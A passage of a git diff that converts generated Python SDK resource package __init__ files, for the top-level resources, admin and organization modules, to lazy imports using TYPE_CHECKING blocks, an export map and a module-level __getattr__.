- AsyncAudioWithRawResponse,
- AudioWithStreamingResponse,
- AsyncAudioWithStreamingResponse,
-)
-from .evals import (
- Evals,
- AsyncEvals,
- EvalsWithRawResponse,
- AsyncEvalsWithRawResponse,
- EvalsWithStreamingResponse,
- AsyncEvalsWithStreamingResponse,
-)
-from .files import (
- Files,
- AsyncFiles,
- FilesWithRawResponse,
- AsyncFilesWithRawResponse,
- FilesWithStreamingResponse,
- AsyncFilesWithStreamingResponse,
-)
-from .images import (
- Images,
- AsyncImages,
- ImagesWithRawResponse,
- AsyncImagesWithRawResponse,
- ImagesWithStreamingResponse,
- AsyncImagesWithStreamingResponse,
-)
-from .models import (
- Models,
- AsyncModels,
- ModelsWithRawResponse,
- AsyncModelsWithRawResponse,
- ModelsWithStreamingResponse,
- AsyncModelsWithStreamingResponse,
-)
-from .safety import (
- Safety,
- AsyncSafety,
- SafetyWithRawResponse,
- AsyncSafetyWithRawResponse,
- SafetyWithStreamingResponse,
- AsyncSafetyWithStreamingResponse,
-)
-from .skills import (
- Skills,
- AsyncSkills,
- SkillsWithRawResponse,
- AsyncSkillsWithRawResponse,
- SkillsWithStreamingResponse,
- AsyncSkillsWithStreamingResponse,
-)
-from .videos import (
- Videos,
- AsyncVideos,
- VideosWithRawResponse,
- AsyncVideosWithRawResponse,
- VideosWithStreamingResponse,
- AsyncVideosWithStreamingResponse,
-)
-from .batches import (
- Batches,
- AsyncBatches,
- BatchesWithRawResponse,
- AsyncBatchesWithRawResponse,
- BatchesWithStreamingResponse,
- AsyncBatchesWithStreamingResponse,
-)
-from .uploads import (
- Uploads,
- AsyncUploads,
- UploadsWithRawResponse,
- AsyncUploadsWithRawResponse,
- UploadsWithStreamingResponse,
- AsyncUploadsWithStreamingResponse,
-)
-from .containers import (
- Containers,
- AsyncContainers,
- ContainersWithRawResponse,
- AsyncContainersWithRawResponse,
- ContainersWithStreamingResponse,
- AsyncContainersWithStreamingResponse,
-)
-from .embeddings import (
- Embeddings,
- AsyncEmbeddings,
- EmbeddingsWithRawResponse,
- AsyncEmbeddingsWithRawResponse,
- EmbeddingsWithStreamingResponse,
- AsyncEmbeddingsWithStreamingResponse,
-)
-from .completions import (
- Completions,
- AsyncCompletions,
- CompletionsWithRawResponse,
- AsyncCompletionsWithRawResponse,
- CompletionsWithStreamingResponse,
- AsyncCompletionsWithStreamingResponse,
-)
-from .fine_tuning import (
- FineTuning,
- AsyncFineTuning,
- FineTuningWithRawResponse,
- AsyncFineTuningWithRawResponse,
- FineTuningWithStreamingResponse,
- AsyncFineTuningWithStreamingResponse,
-)
-from .moderations import (
- Moderations,
- AsyncModerations,
- ModerationsWithRawResponse,
- AsyncModerationsWithRawResponse,
- ModerationsWithStreamingResponse,
- AsyncModerationsWithStreamingResponse,
-)
-from .vector_stores import (
- VectorStores,
- AsyncVectorStores,
- VectorStoresWithRawResponse,
- AsyncVectorStoresWithRawResponse,
- VectorStoresWithStreamingResponse,
- AsyncVectorStoresWithStreamingResponse,
-)
-from .content_provenance_checks import (
- ContentProvenanceChecks,
- AsyncContentProvenanceChecks,
- ContentProvenanceChecksWithRawResponse,
- AsyncContentProvenanceChecksWithRawResponse,
- ContentProvenanceChecksWithStreamingResponse,
- AsyncContentProvenanceChecksWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .beta import (
+ Beta as Beta,
+ AsyncBeta as AsyncBeta,
+ BetaWithRawResponse as BetaWithRawResponse,
+ AsyncBetaWithRawResponse as AsyncBetaWithRawResponse,
+ BetaWithStreamingResponse as BetaWithStreamingResponse,
+ AsyncBetaWithStreamingResponse as AsyncBetaWithStreamingResponse,
+ )
+ from .chat import (
+ Chat as Chat,
+ AsyncChat as AsyncChat,
+ ChatWithRawResponse as ChatWithRawResponse,
+ AsyncChatWithRawResponse as AsyncChatWithRawResponse,
+ ChatWithStreamingResponse as ChatWithStreamingResponse,
+ AsyncChatWithStreamingResponse as AsyncChatWithStreamingResponse,
+ )
+ from .admin import (
+ Admin as Admin,
+ AsyncAdmin as AsyncAdmin,
+ AdminWithRawResponse as AdminWithRawResponse,
+ AsyncAdminWithRawResponse as AsyncAdminWithRawResponse,
+ AdminWithStreamingResponse as AdminWithStreamingResponse,
+ AsyncAdminWithStreamingResponse as AsyncAdminWithStreamingResponse,
+ )
+ from .audio import (
+ Audio as Audio,
+ AsyncAudio as AsyncAudio,
+ AudioWithRawResponse as AudioWithRawResponse,
+ AsyncAudioWithRawResponse as AsyncAudioWithRawResponse,
+ AudioWithStreamingResponse as AudioWithStreamingResponse,
+ AsyncAudioWithStreamingResponse as AsyncAudioWithStreamingResponse,
+ )
+ from .evals import (
+ Evals as Evals,
+ AsyncEvals as AsyncEvals,
+ EvalsWithRawResponse as EvalsWithRawResponse,
+ AsyncEvalsWithRawResponse as AsyncEvalsWithRawResponse,
+ EvalsWithStreamingResponse as EvalsWithStreamingResponse,
+ AsyncEvalsWithStreamingResponse as AsyncEvalsWithStreamingResponse,
+ )
+ from .files import (
+ Files as Files,
+ AsyncFiles as AsyncFiles,
+ FilesWithRawResponse as FilesWithRawResponse,
+ AsyncFilesWithRawResponse as AsyncFilesWithRawResponse,
+ FilesWithStreamingResponse as FilesWithStreamingResponse,
+ AsyncFilesWithStreamingResponse as AsyncFilesWithStreamingResponse,
+ )
+ from .images import (
+ Images as Images,
+ AsyncImages as AsyncImages,
+ ImagesWithRawResponse as ImagesWithRawResponse,
+ AsyncImagesWithRawResponse as AsyncImagesWithRawResponse,
+ ImagesWithStreamingResponse as ImagesWithStreamingResponse,
+ AsyncImagesWithStreamingResponse as AsyncImagesWithStreamingResponse,
+ )
+ from .models import (
+ Models as Models,
+ AsyncModels as AsyncModels,
+ ModelsWithRawResponse as ModelsWithRawResponse,
+ AsyncModelsWithRawResponse as AsyncModelsWithRawResponse,
+ ModelsWithStreamingResponse as ModelsWithStreamingResponse,
+ AsyncModelsWithStreamingResponse as AsyncModelsWithStreamingResponse,
+ )
+ from .safety import (
+ Safety as Safety,
+ AsyncSafety as AsyncSafety,
+ SafetyWithRawResponse as SafetyWithRawResponse,
+ AsyncSafetyWithRawResponse as AsyncSafetyWithRawResponse,
+ SafetyWithStreamingResponse as SafetyWithStreamingResponse,
+ AsyncSafetyWithStreamingResponse as AsyncSafetyWithStreamingResponse,
+ )
+ from .skills import (
+ Skills as Skills,
+ AsyncSkills as AsyncSkills,
+ SkillsWithRawResponse as SkillsWithRawResponse,
+ AsyncSkillsWithRawResponse as AsyncSkillsWithRawResponse,
+ SkillsWithStreamingResponse as SkillsWithStreamingResponse,
+ AsyncSkillsWithStreamingResponse as AsyncSkillsWithStreamingResponse,
+ )
+ from .videos import (
+ Videos as Videos,
+ AsyncVideos as AsyncVideos,
+ VideosWithRawResponse as VideosWithRawResponse,
+ AsyncVideosWithRawResponse as AsyncVideosWithRawResponse,
+ VideosWithStreamingResponse as VideosWithStreamingResponse,
+ AsyncVideosWithStreamingResponse as AsyncVideosWithStreamingResponse,
+ )
+ from .batches import (
+ Batches as Batches,
+ AsyncBatches as AsyncBatches,
+ BatchesWithRawResponse as BatchesWithRawResponse,
+ AsyncBatchesWithRawResponse as AsyncBatchesWithRawResponse,
+ BatchesWithStreamingResponse as BatchesWithStreamingResponse,
+ AsyncBatchesWithStreamingResponse as AsyncBatchesWithStreamingResponse,
+ )
+ from .uploads import (
+ Uploads as Uploads,
+ AsyncUploads as AsyncUploads,
+ UploadsWithRawResponse as UploadsWithRawResponse,
+ AsyncUploadsWithRawResponse as AsyncUploadsWithRawResponse,
+ UploadsWithStreamingResponse as UploadsWithStreamingResponse,
+ AsyncUploadsWithStreamingResponse as AsyncUploadsWithStreamingResponse,
+ )
+ from .containers import (
+ Containers as Containers,
+ AsyncContainers as AsyncContainers,
+ ContainersWithRawResponse as ContainersWithRawResponse,
+ AsyncContainersWithRawResponse as AsyncContainersWithRawResponse,
+ ContainersWithStreamingResponse as ContainersWithStreamingResponse,
+ AsyncContainersWithStreamingResponse as AsyncContainersWithStreamingResponse,
+ )
+ from .embeddings import (
+ Embeddings as Embeddings,
+ AsyncEmbeddings as AsyncEmbeddings,
+ EmbeddingsWithRawResponse as EmbeddingsWithRawResponse,
+ AsyncEmbeddingsWithRawResponse as AsyncEmbeddingsWithRawResponse,
+ EmbeddingsWithStreamingResponse as EmbeddingsWithStreamingResponse,
+ AsyncEmbeddingsWithStreamingResponse as AsyncEmbeddingsWithStreamingResponse,
+ )
+ from .completions import (
+ Completions as Completions,
+ AsyncCompletions as AsyncCompletions,
+ CompletionsWithRawResponse as CompletionsWithRawResponse,
+ AsyncCompletionsWithRawResponse as AsyncCompletionsWithRawResponse,
+ CompletionsWithStreamingResponse as CompletionsWithStreamingResponse,
+ AsyncCompletionsWithStreamingResponse as AsyncCompletionsWithStreamingResponse,
+ )
+ from .fine_tuning import (
+ FineTuning as FineTuning,
+ AsyncFineTuning as AsyncFineTuning,
+ FineTuningWithRawResponse as FineTuningWithRawResponse,
+ AsyncFineTuningWithRawResponse as AsyncFineTuningWithRawResponse,
+ FineTuningWithStreamingResponse as FineTuningWithStreamingResponse,
+ AsyncFineTuningWithStreamingResponse as AsyncFineTuningWithStreamingResponse,
+ )
+ from .moderations import (
+ Moderations as Moderations,
+ AsyncModerations as AsyncModerations,
+ ModerationsWithRawResponse as ModerationsWithRawResponse,
+ AsyncModerationsWithRawResponse as AsyncModerationsWithRawResponse,
+ ModerationsWithStreamingResponse as ModerationsWithStreamingResponse,
+ AsyncModerationsWithStreamingResponse as AsyncModerationsWithStreamingResponse,
+ )
+ from .vector_stores import (
+ VectorStores as VectorStores,
+ AsyncVectorStores as AsyncVectorStores,
+ VectorStoresWithRawResponse as VectorStoresWithRawResponse,
+ AsyncVectorStoresWithRawResponse as AsyncVectorStoresWithRawResponse,
+ VectorStoresWithStreamingResponse as VectorStoresWithStreamingResponse,
+ AsyncVectorStoresWithStreamingResponse as AsyncVectorStoresWithStreamingResponse,
+ )
+ from .content_provenance_checks import (
+ ContentProvenanceChecks as ContentProvenanceChecks,
+ AsyncContentProvenanceChecks as AsyncContentProvenanceChecks,
+ ContentProvenanceChecksWithRawResponse as ContentProvenanceChecksWithRawResponse,
+ AsyncContentProvenanceChecksWithRawResponse as AsyncContentProvenanceChecksWithRawResponse,
+ ContentProvenanceChecksWithStreamingResponse as ContentProvenanceChecksWithStreamingResponse,
+ AsyncContentProvenanceChecksWithStreamingResponse as AsyncContentProvenanceChecksWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Completions": (".completions", "Completions"),
+ "AsyncCompletions": (".completions", "AsyncCompletions"),
+ "CompletionsWithRawResponse": (".completions", "CompletionsWithRawResponse"),
+ "AsyncCompletionsWithRawResponse": (".completions", "AsyncCompletionsWithRawResponse"),
+ "CompletionsWithStreamingResponse": (".completions", "CompletionsWithStreamingResponse"),
+ "AsyncCompletionsWithStreamingResponse": (".completions", "AsyncCompletionsWithStreamingResponse"),
+ "Chat": (".chat", "Chat"),
+ "AsyncChat": (".chat", "AsyncChat"),
+ "ChatWithRawResponse": (".chat", "ChatWithRawResponse"),
+ "AsyncChatWithRawResponse": (".chat", "AsyncChatWithRawResponse"),
+ "ChatWithStreamingResponse": (".chat", "ChatWithStreamingResponse"),
+ "AsyncChatWithStreamingResponse": (".chat", "AsyncChatWithStreamingResponse"),
+ "Embeddings": (".embeddings", "Embeddings"),
+ "AsyncEmbeddings": (".embeddings", "AsyncEmbeddings"),
+ "EmbeddingsWithRawResponse": (".embeddings", "EmbeddingsWithRawResponse"),
+ "AsyncEmbeddingsWithRawResponse": (".embeddings", "AsyncEmbeddingsWithRawResponse"),
+ "EmbeddingsWithStreamingResponse": (".embeddings", "EmbeddingsWithStreamingResponse"),
+ "AsyncEmbeddingsWithStreamingResponse": (".embeddings", "AsyncEmbeddingsWithStreamingResponse"),
+ "Files": (".files", "Files"),
+ "AsyncFiles": (".files", "AsyncFiles"),
+ "FilesWithRawResponse": (".files", "FilesWithRawResponse"),
+ "AsyncFilesWithRawResponse": (".files", "AsyncFilesWithRawResponse"),
+ "FilesWithStreamingResponse": (".files", "FilesWithStreamingResponse"),
+ "AsyncFilesWithStreamingResponse": (".files", "AsyncFilesWithStreamingResponse"),
+ "Images": (".images", "Images"),
+ "AsyncImages": (".images", "AsyncImages"),
+ "ImagesWithRawResponse": (".images", "ImagesWithRawResponse"),
+ "AsyncImagesWithRawResponse": (".images", "AsyncImagesWithRawResponse"),
+ "ImagesWithStreamingResponse": (".images", "ImagesWithStreamingResponse"),
+ "AsyncImagesWithStreamingResponse": (".images", "AsyncImagesWithStreamingResponse"),
+ "ContentProvenanceChecks": (".content_provenance_checks", "ContentProvenanceChecks"),
+ "AsyncContentProvenanceChecks": (".content_provenance_checks", "AsyncContentProvenanceChecks"),
+ "ContentProvenanceChecksWithRawResponse": (
+ ".content_provenance_checks",
+ "ContentProvenanceChecksWithRawResponse",
+ ),
+ "AsyncContentProvenanceChecksWithRawResponse": (
+ ".content_provenance_checks",
+ "AsyncContentProvenanceChecksWithRawResponse",
+ ),
+ "ContentProvenanceChecksWithStreamingResponse": (
+ ".content_provenance_checks",
+ "ContentProvenanceChecksWithStreamingResponse",
+ ),
+ "AsyncContentProvenanceChecksWithStreamingResponse": (
+ ".content_provenance_checks",
+ "AsyncContentProvenanceChecksWithStreamingResponse",
+ ),
+ "Audio": (".audio", "Audio"),
+ "AsyncAudio": (".audio", "AsyncAudio"),
+ "AudioWithRawResponse": (".audio", "AudioWithRawResponse"),
+ "AsyncAudioWithRawResponse": (".audio", "AsyncAudioWithRawResponse"),
+ "AudioWithStreamingResponse": (".audio", "AudioWithStreamingResponse"),
+ "AsyncAudioWithStreamingResponse": (".audio", "AsyncAudioWithStreamingResponse"),
+ "Moderations": (".moderations", "Moderations"),
+ "AsyncModerations": (".moderations", "AsyncModerations"),
+ "ModerationsWithRawResponse": (".moderations", "ModerationsWithRawResponse"),
+ "AsyncModerationsWithRawResponse": (".moderations", "AsyncModerationsWithRawResponse"),
+ "ModerationsWithStreamingResponse": (".moderations", "ModerationsWithStreamingResponse"),
+ "AsyncModerationsWithStreamingResponse": (".moderations", "AsyncModerationsWithStreamingResponse"),
+ "Models": (".models", "Models"),
+ "AsyncModels": (".models", "AsyncModels"),
+ "ModelsWithRawResponse": (".models", "ModelsWithRawResponse"),
+ "AsyncModelsWithRawResponse": (".models", "AsyncModelsWithRawResponse"),
+ "ModelsWithStreamingResponse": (".models", "ModelsWithStreamingResponse"),
+ "AsyncModelsWithStreamingResponse": (".models", "AsyncModelsWithStreamingResponse"),
+ "FineTuning": (".fine_tuning", "FineTuning"),
+ "AsyncFineTuning": (".fine_tuning", "AsyncFineTuning"),
+ "FineTuningWithRawResponse": (".fine_tuning", "FineTuningWithRawResponse"),
+ "AsyncFineTuningWithRawResponse": (".fine_tuning", "AsyncFineTuningWithRawResponse"),
+ "FineTuningWithStreamingResponse": (".fine_tuning", "FineTuningWithStreamingResponse"),
+ "AsyncFineTuningWithStreamingResponse": (".fine_tuning", "AsyncFineTuningWithStreamingResponse"),
+ "VectorStores": (".vector_stores", "VectorStores"),
+ "AsyncVectorStores": (".vector_stores", "AsyncVectorStores"),
+ "VectorStoresWithRawResponse": (".vector_stores", "VectorStoresWithRawResponse"),
+ "AsyncVectorStoresWithRawResponse": (".vector_stores", "AsyncVectorStoresWithRawResponse"),
+ "VectorStoresWithStreamingResponse": (".vector_stores", "VectorStoresWithStreamingResponse"),
+ "AsyncVectorStoresWithStreamingResponse": (".vector_stores", "AsyncVectorStoresWithStreamingResponse"),
+ "Safety": (".safety", "Safety"),
+ "AsyncSafety": (".safety", "AsyncSafety"),
+ "SafetyWithRawResponse": (".safety", "SafetyWithRawResponse"),
+ "AsyncSafetyWithRawResponse": (".safety", "AsyncSafetyWithRawResponse"),
+ "SafetyWithStreamingResponse": (".safety", "SafetyWithStreamingResponse"),
+ "AsyncSafetyWithStreamingResponse": (".safety", "AsyncSafetyWithStreamingResponse"),
+ "Beta": (".beta", "Beta"),
+ "AsyncBeta": (".beta", "AsyncBeta"),
+ "BetaWithRawResponse": (".beta", "BetaWithRawResponse"),
+ "AsyncBetaWithRawResponse": (".beta", "AsyncBetaWithRawResponse"),
+ "BetaWithStreamingResponse": (".beta", "BetaWithStreamingResponse"),
+ "AsyncBetaWithStreamingResponse": (".beta", "AsyncBetaWithStreamingResponse"),
+ "Batches": (".batches", "Batches"),
+ "AsyncBatches": (".batches", "AsyncBatches"),
+ "BatchesWithRawResponse": (".batches", "BatchesWithRawResponse"),
+ "AsyncBatchesWithRawResponse": (".batches", "AsyncBatchesWithRawResponse"),
+ "BatchesWithStreamingResponse": (".batches", "BatchesWithStreamingResponse"),
+ "AsyncBatchesWithStreamingResponse": (".batches", "AsyncBatchesWithStreamingResponse"),
+ "Uploads": (".uploads", "Uploads"),
+ "AsyncUploads": (".uploads", "AsyncUploads"),
+ "UploadsWithRawResponse": (".uploads", "UploadsWithRawResponse"),
+ "AsyncUploadsWithRawResponse": (".uploads", "AsyncUploadsWithRawResponse"),
+ "UploadsWithStreamingResponse": (".uploads", "UploadsWithStreamingResponse"),
+ "AsyncUploadsWithStreamingResponse": (".uploads", "AsyncUploadsWithStreamingResponse"),
+ "Admin": (".admin", "Admin"),
+ "AsyncAdmin": (".admin", "AsyncAdmin"),
+ "AdminWithRawResponse": (".admin", "AdminWithRawResponse"),
+ "AsyncAdminWithRawResponse": (".admin", "AsyncAdminWithRawResponse"),
+ "AdminWithStreamingResponse": (".admin", "AdminWithStreamingResponse"),
+ "AsyncAdminWithStreamingResponse": (".admin", "AsyncAdminWithStreamingResponse"),
+ "Evals": (".evals", "Evals"),
+ "AsyncEvals": (".evals", "AsyncEvals"),
+ "EvalsWithRawResponse": (".evals", "EvalsWithRawResponse"),
+ "AsyncEvalsWithRawResponse": (".evals", "AsyncEvalsWithRawResponse"),
+ "EvalsWithStreamingResponse": (".evals", "EvalsWithStreamingResponse"),
+ "AsyncEvalsWithStreamingResponse": (".evals", "AsyncEvalsWithStreamingResponse"),
+ "Containers": (".containers", "Containers"),
+ "AsyncContainers": (".containers", "AsyncContainers"),
+ "ContainersWithRawResponse": (".containers", "ContainersWithRawResponse"),
+ "AsyncContainersWithRawResponse": (".containers", "AsyncContainersWithRawResponse"),
+ "ContainersWithStreamingResponse": (".containers", "ContainersWithStreamingResponse"),
+ "AsyncContainersWithStreamingResponse": (".containers", "AsyncContainersWithStreamingResponse"),
+ "Skills": (".skills", "Skills"),
+ "AsyncSkills": (".skills", "AsyncSkills"),
+ "SkillsWithRawResponse": (".skills", "SkillsWithRawResponse"),
+ "AsyncSkillsWithRawResponse": (".skills", "AsyncSkillsWithRawResponse"),
+ "SkillsWithStreamingResponse": (".skills", "SkillsWithStreamingResponse"),
+ "AsyncSkillsWithStreamingResponse": (".skills", "AsyncSkillsWithStreamingResponse"),
+ "Videos": (".videos", "Videos"),
+ "AsyncVideos": (".videos", "AsyncVideos"),
+ "VideosWithRawResponse": (".videos", "VideosWithRawResponse"),
+ "AsyncVideosWithRawResponse": (".videos", "AsyncVideosWithRawResponse"),
+ "VideosWithStreamingResponse": (".videos", "VideosWithStreamingResponse"),
+ "AsyncVideosWithStreamingResponse": (".videos", "AsyncVideosWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "admin",
+ "audio",
+ "batches",
+ "beta",
+ "chat",
+ "completions",
+ "containers",
+ "content_provenance_checks",
+ "embeddings",
+ "evals",
+ "files",
+ "fine_tuning",
+ "images",
+ "models",
+ "moderations",
+ "safety",
+ "skills",
+ "uploads",
+ "vector_stores",
+ "videos",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Completions",
diff --git a/src/openai/resources/admin/__init__.py b/src/openai/resources/admin/__init__.py
index f969cb41d7..6cb3ea1c24 100644
--- a/src/openai/resources/admin/__init__.py
+++ b/src/openai/resources/admin/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .admin import (
- Admin,
- AsyncAdmin,
- AdminWithRawResponse,
- AsyncAdminWithRawResponse,
- AdminWithStreamingResponse,
- AsyncAdminWithStreamingResponse,
-)
-from .organization import (
- Organization,
- AsyncOrganization,
- OrganizationWithRawResponse,
- AsyncOrganizationWithRawResponse,
- OrganizationWithStreamingResponse,
- AsyncOrganizationWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .admin import (
+ Admin as Admin,
+ AsyncAdmin as AsyncAdmin,
+ AdminWithRawResponse as AdminWithRawResponse,
+ AsyncAdminWithRawResponse as AsyncAdminWithRawResponse,
+ AdminWithStreamingResponse as AdminWithStreamingResponse,
+ AsyncAdminWithStreamingResponse as AsyncAdminWithStreamingResponse,
+ )
+ from .organization import (
+ Organization as Organization,
+ AsyncOrganization as AsyncOrganization,
+ OrganizationWithRawResponse as OrganizationWithRawResponse,
+ AsyncOrganizationWithRawResponse as AsyncOrganizationWithRawResponse,
+ OrganizationWithStreamingResponse as OrganizationWithStreamingResponse,
+ AsyncOrganizationWithStreamingResponse as AsyncOrganizationWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Organization": (".organization", "Organization"),
+ "AsyncOrganization": (".organization", "AsyncOrganization"),
+ "OrganizationWithRawResponse": (".organization", "OrganizationWithRawResponse"),
+ "AsyncOrganizationWithRawResponse": (".organization", "AsyncOrganizationWithRawResponse"),
+ "OrganizationWithStreamingResponse": (".organization", "OrganizationWithStreamingResponse"),
+ "AsyncOrganizationWithStreamingResponse": (".organization", "AsyncOrganizationWithStreamingResponse"),
+ "Admin": (".admin", "Admin"),
+ "AsyncAdmin": (".admin", "AsyncAdmin"),
+ "AdminWithRawResponse": (".admin", "AdminWithRawResponse"),
+ "AsyncAdminWithRawResponse": (".admin", "AsyncAdminWithRawResponse"),
+ "AdminWithStreamingResponse": (".admin", "AdminWithStreamingResponse"),
+ "AsyncAdminWithStreamingResponse": (".admin", "AsyncAdminWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "admin",
+ "organization",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Organization",
diff --git a/src/openai/resources/admin/organization/__init__.py b/src/openai/resources/admin/organization/__init__.py
index 966c00d7ce..949f631270 100644
--- a/src/openai/resources/admin/organization/__init__.py
+++ b/src/openai/resources/admin/organization/__init__.py
@@ -1,109 +1,226 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .roles import (
- Roles,
- AsyncRoles,
- RolesWithRawResponse,
- AsyncRolesWithRawResponse,
- RolesWithStreamingResponse,
- AsyncRolesWithStreamingResponse,
-)
-from .usage import (
- Usage,
- AsyncUsage,
- UsageWithRawResponse,
- AsyncUsageWithRawResponse,
- UsageWithStreamingResponse,
- AsyncUsageWithStreamingResponse,
-)
-from .users import (
- Users,
- AsyncUsers,
- UsersWithRawResponse,
- AsyncUsersWithRawResponse,
- UsersWithStreamingResponse,
- AsyncUsersWithStreamingResponse,
-)
-from .groups import (
- Groups,
- AsyncGroups,
- GroupsWithRawResponse,
- AsyncGroupsWithRawResponse,
- GroupsWithStreamingResponse,
- AsyncGroupsWithStreamingResponse,
-)
-from .invites import (
- Invites,
- AsyncInvites,
- InvitesWithRawResponse,
- AsyncInvitesWithRawResponse,
- InvitesWithStreamingResponse,
- AsyncInvitesWithStreamingResponse,
-)
-from .projects import (
- Projects,
- AsyncProjects,
- ProjectsWithRawResponse,
- AsyncProjectsWithRawResponse,
- ProjectsWithStreamingResponse,
- AsyncProjectsWithStreamingResponse,
-)
-from .audit_logs import (
- AuditLogs,
- AsyncAuditLogs,
- AuditLogsWithRawResponse,
- AsyncAuditLogsWithRawResponse,
- AuditLogsWithStreamingResponse,
- AsyncAuditLogsWithStreamingResponse,
-)
-from .spend_limit import (
- SpendLimit,
- AsyncSpendLimit,
- SpendLimitWithRawResponse,
- AsyncSpendLimitWithRawResponse,
- SpendLimitWithStreamingResponse,
- AsyncSpendLimitWithStreamingResponse,
-)
-from .certificates import (
- Certificates,
- AsyncCertificates,
- CertificatesWithRawResponse,
- AsyncCertificatesWithRawResponse,
- CertificatesWithStreamingResponse,
- AsyncCertificatesWithStreamingResponse,
-)
-from .organization import (
- Organization,
- AsyncOrganization,
- OrganizationWithRawResponse,
- AsyncOrganizationWithRawResponse,
- OrganizationWithStreamingResponse,
- AsyncOrganizationWithStreamingResponse,
-)
-from .spend_alerts import (
- SpendAlerts,
- AsyncSpendAlerts,
- SpendAlertsWithRawResponse,
- AsyncSpendAlertsWithRawResponse,
- SpendAlertsWithStreamingResponse,
- AsyncSpendAlertsWithStreamingResponse,
-)
-from .admin_api_keys import (
- AdminAPIKeys,
- AsyncAdminAPIKeys,
- AdminAPIKeysWithRawResponse,
- AsyncAdminAPIKeysWithRawResponse,
- AdminAPIKeysWithStreamingResponse,
- AsyncAdminAPIKeysWithStreamingResponse,
-)
-from .data_retention import (
- DataRetention,
- AsyncDataRetention,
- DataRetentionWithRawResponse,
- AsyncDataRetentionWithRawResponse,
- DataRetentionWithStreamingResponse,
- AsyncDataRetentionWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .roles import (
+ Roles as Roles,
+ AsyncRoles as AsyncRoles,
+ RolesWithRawResponse as RolesWithRawResponse,
+ AsyncRolesWithRawResponse as AsyncRolesWithRawResponse,
+ RolesWithStreamingResponse as RolesWithStreamingResponse,
+ AsyncRolesWithStreamingResponse as AsyncRolesWithStreamingResponse,
+ )
+ from .usage import (
+ Usage as Usage,
+ AsyncUsage as AsyncUsage,
+ UsageWithRawResponse as UsageWithRawResponse,
+ AsyncUsageWithRawResponse as AsyncUsageWithRawResponse,
+ UsageWithStreamingResponse as UsageWithStreamingResponse,
+ AsyncUsageWithStreamingResponse as AsyncUsageWithStreamingResponse,
+ )
+ from .users import (
+ Users as Users,
+ AsyncUsers as AsyncUsers,
+ UsersWithRawResponse as UsersWithRawResponse,
+ AsyncUsersWithRawResponse as AsyncUsersWithRawResponse,
+ UsersWithStreamingResponse as UsersWithStreamingResponse,
+ AsyncUsersWithStreamingResponse as AsyncUsersWithStreamingResponse,
+ )
+ from .groups import (
+ Groups as Groups,
+ AsyncGroups as AsyncGroups,
+ GroupsWithRawResponse as GroupsWithRawResponse,
+ AsyncGroupsWithRawResponse as AsyncGroupsWithRawResponse,
+ GroupsWithStreamingResponse as GroupsWithStreamingResponse,
+ AsyncGroupsWithStreamingResponse as AsyncGroupsWithStreamingResponse,
+ )
+ from .invites import (
+ Invites as Invites,
+ AsyncInvites as AsyncInvites,
+ InvitesWithRawResponse as InvitesWithRawResponse,
+ AsyncInvitesWithRawResponse as AsyncInvitesWithRawResponse,
+ InvitesWithStreamingResponse as InvitesWithStreamingResponse,
+ AsyncInvitesWithStreamingResponse as AsyncInvitesWithStreamingResponse,
+ )
+ from .projects import (
+ Projects as Projects,
+ AsyncProjects as AsyncProjects,
+ ProjectsWithRawResponse as ProjectsWithRawResponse,
+ AsyncProjectsWithRawResponse as AsyncProjectsWithRawResponse,
+ ProjectsWithStreamingResponse as ProjectsWithStreamingResponse,
+ AsyncProjectsWithStreamingResponse as AsyncProjectsWithStreamingResponse,
+ )
+ from .audit_logs import (
+ AuditLogs as AuditLogs,
+ AsyncAuditLogs as AsyncAuditLogs,
+ AuditLogsWithRawResponse as AuditLogsWithRawResponse,
+ AsyncAuditLogsWithRawResponse as AsyncAuditLogsWithRawResponse,
+ AuditLogsWithStreamingResponse as AuditLogsWithStreamingResponse,
+ AsyncAuditLogsWithStreamingResponse as AsyncAuditLogsWithStreamingResponse,
+ )
+ from .spend_limit import (
+ SpendLimit as SpendLimit,
+ AsyncSpendLimit as AsyncSpendLimit,
+ SpendLimitWithRawResponse as SpendLimitWithRawResponse,
+ AsyncSpendLimitWithRawResponse as AsyncSpendLimitWithRawResponse,
+ SpendLimitWithStreamingResponse as SpendLimitWithStreamingResponse,
+ AsyncSpendLimitWithStreamingResponse as AsyncSpendLimitWithStreamingResponse,
+ )
+ from .certificates import (
+ Certificates as Certificates,
+ AsyncCertificates as AsyncCertificates,
+ CertificatesWithRawResponse as CertificatesWithRawResponse,
+ AsyncCertificatesWithRawResponse as AsyncCertificatesWithRawResponse,
+ CertificatesWithStreamingResponse as CertificatesWithStreamingResponse,
+ AsyncCertificatesWithStreamingResponse as AsyncCertificatesWithStreamingResponse,
+ )
+ from .organization import (
+ Organization as Organization,
+ AsyncOrganization as AsyncOrganization,
+ OrganizationWithRawResponse as OrganizationWithRawResponse,
+ AsyncOrganizationWithRawResponse as AsyncOrganizationWithRawResponse,
+ OrganizationWithStreamingResponse as OrganizationWithStreamingResponse,
+ AsyncOrganizationWithStreamingResponse as AsyncOrganizationWithStreamingResponse,
+ )
